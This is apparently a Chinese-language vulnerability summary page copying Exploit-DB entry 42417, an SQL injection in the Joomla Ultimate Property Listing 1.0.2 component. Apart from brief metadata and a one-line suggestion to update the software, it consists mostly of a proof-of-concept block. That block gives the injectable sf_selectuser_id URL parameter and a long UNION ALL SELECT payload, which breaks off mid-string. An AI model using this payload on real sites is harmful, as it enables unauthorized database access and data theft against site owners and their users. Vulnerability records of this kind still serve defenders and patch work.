漏洞概述 漏洞名称: Joomla! Component Ultimate Property Listing 1.0.2 - SQL Injection EDB-ID: 42417 作者: Ihsan Sencan 类型: WEBAPPS 平台: PHP 日期: 2017-08-02 EDB Verified: 是 影响范围 软件: Ultimate Property Listing 版本: 1.0.2 漏洞详情: - SQL Injection/Exploit: - - - 修复方案 建议: 更新软件至最新版本，确保所有已知漏洞已被修复。 参考链接: - Exploit Database - Joomla Extensions Directory POC代码 ```plaintext Exploit Title: Joomla! Component Ultimate Property Listing v1.0.2 - SQL Injection Date: 02.08.2017 Vendor: http://faboba.com/ Software: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/ultimate-property-listing/ Demo: http://demo.upl.faboba.com/ Version: 1.0.2 Author: Ihsan Sencan SQL Injection/Exploit : http://localhost/[PATH]/index.php?option=com_upl&view=propertylisting&sf_selectuser_id=[SQL] -109' UNION ALL SELECT 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0), (SELECT @x:=0